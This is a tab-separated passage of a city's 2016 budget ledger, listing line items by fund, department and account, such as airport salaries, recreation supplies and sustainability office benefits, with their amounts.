20036	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	52492	0	0	0	0	0	0	0	0	0	0	0	52492
20037	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533070.0	AIRPORT SECURITY GUARDS TRANS		 Supplies and Expenses	2016	678259	0	0	0	0	0	0	0	0	0	0	0	678259
20038	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	463163	0	0	0	0	0	0	0	0	0	0	0	463163
20039	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588200.0	BLDG RENOVATION / MAINTENANCE		 Supplies and Expenses	2016	165139	0	0	0	0	0	0	0	0	0	0	0	165139
20040	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588500.0	MISCELLANEOUS EQUIPMENT		 Supplies and Expenses	2016	20648	0	0	0	0	0	0	0	0	0	0	0	20648
20041	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	12240	0	0	0	0	0	0	0	0	0	0	0	12240
20042	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401662.0	ASSFC PASS-THRU	662.0	Other	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
20043	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2016	-6200	0	0	0	0	0	0	0	0	0	0	0	-6200
20044	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	10384	0	0	0	0	0	0	0	0	0	0	0	10384
20045	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2016	288716	0	0	0	0	0	0	0	0	0	0	0	288716
20046	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402120.0	AIRPORT - OFFICE / SHOP RENTAL	650.0	Charges for Service	2016	-5492762	0	0	0	0	0	0	0	0	0	0	0	-5492762
20047	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	121008	0	0	0	0	0	0	0	0	0	0	0	121008
20048	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2016	2093	0	0	0	0	0	0	0	0	0	0	0	2093
20049	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DCAP		Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
20050	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2016	77317	0	0	0	0	0	0	0	0	0	0	0	77317
20051	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533170.0	AUDIO EQUIPMENT MAINTENANCE		 Supplies and Expenses	2016	19215	0	0	0	0	0	0	0	0	0	0	0	19215
20052	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544390.0	OTHER COSTS		 Supplies and Expenses	2016	42339	0	0	0	0	0	0	0	0	0	0	0	42339
20053	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	21363	0	0	0	0	0	0	0	0	0	0	0	21363
20054	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511490.0	OVERTIME	804.0	Salaries and Wages	2016	6106	0	0	0	0	0	0	0	0	0	0	0	6106
20055	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20056	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	233732	0	0	0	0	0	0	0	0	0	0	0	233732
20057	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	5507	0	0	0	0	0	0	0	0	0	0	0	5507
20058	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401490.0	RECYCLE LEASE RENTAL	650.0	Charges for Service	2016	-130100	0	0	0	0	0	0	0	0	0	0	0	-130100
20059	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-127000	0	0	0	0	0	0	0	0	0	0	0	-127000
20060	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401900.0	FALSE ALARM	612.0	Charges for Service	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
20061	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20062	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511748.0	DENTAL	816.0	Salaries and Wages	2016	27231	0	0	0	0	0	0	0	0	0	0	0	27231
20063	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	17587	0	0	0	0	0	0	0	0	0	0	0	17587
20064	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	631672	0	0	0	0	0	0	0	0	0	0	0	631672
20065	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522930.0	VEHICLES - TIRES / TUBES		 Supplies and Expenses	2016	651	0	0	0	0	0	0	0	0	0	0	0	651
20066	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	26480	0	0	0	0	0	0	0	0	0	0	0	26480
20067	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5676	0	0	0	0	0	0	0	0	0	0	0	5676
20068	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
20069	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555121.0	ASSFC PASS-THRU		 Supplies and Expenses	2016	207672	0	0	0	0	0	0	0	0	0	0	0	207672
20070	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2016	8048	0	0	0	0	0	0	0	0	0	0	0	8048
20071	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2016	16631	0	0	0	0	0	0	0	0	0	0	0	16631
20072	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20073	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	45325	0	0	0	0	0	0	0	0	0	0	0	45325
20074	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2016	974	0	0	0	0	0	0	0	0	0	0	0	974
20075	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511749.0	VISION	804.0	Salaries and Wages	2016	1744	0	0	0	0	0	0	0	0	0	0	0	1744
20076	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566640.0	STATE RECYCLING PROGRAM	808.0	 Supplies and Expenses	2016	55200	0	0	0	0	0	0	0	0	0	0	0	55200
20077	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544860.0	SUMMER FOOD SERVICE	810.0	 Supplies and Expenses	2016	24116	0	0	0	0	0	0	0	0	0	0	0	24116
20078	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	8627	0	0	0	0	0	0	0	0	0	0	0	8627
20079	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402140.0	AIRPORT - TIE DOWN CHARGES	650.0	Charges for Service	2016	-119371	0	0	0	0	0	0	0	0	0	0	0	-119371
20080	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402163.0	PARKING RECEIPTS	662.0	Other	2016	-58782	0	0	0	0	0	0	0	0	0	0	0	-58782
20081	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	510000.0	SALARIES AND WAGES		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20082	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511490.0	OVERTIME		Salaries and Wages	2016	1447	0	0	0	0	0	0	0	0	0	0	0	1447
20083	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511749.0	VISION		Salaries and Wages	2016	1044	0	0	0	0	0	0	0	0	0	0	0	1044
20084	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		UNEMPLOYMENT		Salaries and Wages	2016	3347	0	0	0	0	0	0	0	0	0	0	0	3347
20085	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	354214	0	0	0	0	0	0	0	0	0	0	0	354214
20086	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2016	1588	0	0	0	0	0	0	0	0	0	0	0	1588
20087	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	70699	0	0	0	0	0	0	0	0	0	0	0	70699
20088	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-POLICE RETIREE	806.0	Salaries and Wages	2016	125000	0	0	0	0	0	0	0	0	0	0	0	125000
20089	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
20090	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-RETIREE	806.0	Salaries and Wages	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
20091	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405220.0	MAIN ST-LIGHTS & SIDEWLK CLEAN	622.0	Other	2016	-53220	0	0	0	0	0	0	0	0	0	0	0	-53220
20092	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407940.0	GREEN BUILDING	612.0	Charges for Service	2016	-236208	0	0	0	0	0	0	0	0	0	0	0	-236208
20093	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407950.0	TRAINING GREEN BUILDING	612.0	Charges for Service	2016	-1100	0	0	0	0	0	0	0	0	0	0	0	-1100
20094	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	11000	0	0	0	0	0	0	0	0	0	0	0	11000
20095	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
20096	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	165704	0	0	0	0	0	0	0	0	0	0	0	165704
20097	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	15300	0	0	0	0	0	0	0	0	0	0	0	15300
20098	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2016	18000	0	0	0	0	0	0	0	0	0	0	0	18000
20099	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	3512	0	0	0	0	0	0	0	0	0	0	0	3512
20100	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
20101	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	622	0	0	0	0	0	0	0	0	0	0	0	622
20102	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	350	0	0	0	0	0	0	0	0	0	0	0	350
20103	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	2015	0	0	0	0	0	0	0	0	0	0	0	2015
20104	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	10643	0	0	0	0	0	0	0	0	0	0	0	10643
20105	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
20106	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	623	0	0	0	0	0	0	0	0	0	0	0	623
20107	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	28250	0	0	0	0	0	0	0	0	0	0	0	28250
20108	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511749.0	VISION	808.0	Salaries and Wages	2016	2378	0	0	0	0	0	0	0	0	0	0	0	2378
20109	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	390692	0	0	0	0	0	0	0	0	0	0	0	390692
20110	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	6514	0	0	0	0	0	0	0	0	0	0	0	6514
20111	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20112	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	476168	0	0	0	0	0	0	0	0	0	0	0	476168
20113	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	58812	0	0	0	0	0	0	0	0	0	0	0	58812
20114	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	2088	0	0	0	0	0	0	0	0	0	0	0	2088
20115	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	519	0	0	0	0	0	0	0	0	0	0	0	519
20116	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	10720	0	0	0	0	0	0	0	0	0	0	0	10720
20117	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544340.0	INDIRECT COST ALLOCATION	804.0	 Supplies and Expenses	2016	321459	0	0	0	0	0	0	0	0	0	0	0	321459
20118	BA	IS	52	Special Aviation Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-1700	0	0	0	0	0	0	0	0	0	0	0	-1700
20119	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2016	2258	0	0	0	0	0	0	0	0	0	0	0	2258
20120	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	21978	0	0	0	0	0	0	0	0	0	0	0	21978
20121	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	13600	0	0	0	0	0	0	0	0	0	0	0	13600
20122	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
20123	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	2600	0	0	0	0	0	0	0	0	0	0	0	2600
20124	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2016	765	0	0	0	0	0	0	0	0	0	0	0	765
20125	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2016	4361	0	0	0	0	0	0	0	0	0	0	0	4361
20126	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	1277	0	0	0	0	0	0	0	0	0	0	0	1277
20127	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	1400	0	0	0	0	0	0	0	0	0	0	0	1400
20128	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20129	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	196167	0	0	0	0	0	0	0	0	0	0	0	196167
20130	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2016	21082	0	0	0	0	0	0	0	0	0	0	0	21082
20131	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2016	2978	0	0	0	0	0	0	0	0	0	0	0	2978
20132	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2016	4342	0	0	0	0	0	0	0	0	0	0	0	4342
20133	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2016	6840	0	0	0	0	0	0	0	0	0	0	0	6840
20134	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2016	3908	0	0	0	0	0	0	0	0	0	0	0	3908
20135	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577220.0	INTRST EXP-BONDS & OTHR LOANS		 Supplies and Expenses	2016	530170	0	0	0	0	0	0	0	0	0	0	0	530170
20136	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2016	18628	0	0	0	0	0	0	0	0	0	0	0	18628
20137	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2016	1078	0	0	0	0	0	0	0	0	0	0	0	1078
20138	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	1086	0	0	0	0	0	0	0	0	0	0	0	1086
20139	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	3657	0	0	0	0	0	0	0	0	0	0	0	3657
20140	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	3600	0	0	0	0	0	0	0	0	0	0	0	3600
20141	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	7210	0	0	0	0	0	0	0	0	0	0	0	7210
20142	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	12097	0	0	0	0	0	0	0	0	0	0	0	12097
20143	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	27091	0	0	0	0	0	0	0	0	0	0	0	27091
20144	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		UNEMPLOYMENT	808.0	Salaries and Wages	2016	9004	0	0	0	0	0	0	0	0	0	0	0	9004
20145	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20146	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	560010.0	SCADA O & M	844.0	 Supplies and Expenses	2016	24751	0	0	0	0	0	0	0	0	0	0	0	24751
20147	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2016	391051	0	0	0	0	0	0	0	0	0	0	0	391051
20148	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	8710	0	0	0	0	0	0	0	0	0	0	0	8710
20149	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	2018	0	0	0	0	0	0	0	0	0	0	0	2018
20150	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
20151	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
20152	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EAP		Salaries and Wages	2016	744	0	0	0	0	0	0	0	0	0	0	0	744
20153	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		LIFE INSURANCE & AD & D		Salaries and Wages	2016	2468	0	0	0	0	0	0	0	0	0	0	0	2468
20154	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522180.0	BANK FEES		 Supplies and Expenses	2016	490	0	0	0	0	0	0	0	0	0	0	0	490
20155	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2016	19435	0	0	0	0	0	0	0	0	0	0	0	19435
20156	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2016	13852	0	0	0	0	0	0	0	0	0	0	0	13852
20157	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2016	3307	0	0	0	0	0	0	0	0	0	0	0	3307
20158	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1488275	0	0	0	0	0	0	0	0	0	0	0	1488275
20159	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	319209	0	0	0	0	0	0	0	0	0	0	0	319209
20160	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2016	7135	0	0	0	0	0	0	0	0	0	0	0	7135
20161	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	35571	0	0	0	0	0	0	0	0	0	0	0	35571
20162	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	8234	0	0	0	0	0	0	0	0	0	0	0	8234
20163	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
20164	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2016	62821	0	0	0	0	0	0	0	0	0	0	0	62821
20165	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	12750	0	0	0	0	0	0	0	0	0	0	0	12750
20166	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	1840345	0	0	0	0	0	0	0	0	0	0	0	1840345
20167	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		YEAR-END CASH OUTS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20168	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	13504	0	0	0	0	0	0	0	0	0	0	0	13504
20169	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2016	138121	0	0	0	0	0	0	0	0	0	0	0	138121
20170	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	356	0	0	0	0	0	0	0	0	0	0	0	356
20171	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	1486	0	0	0	0	0	0	0	0	0	0	0	1486
20172	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511660.0	ADAPTIVE RECREATION/SPORTS	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
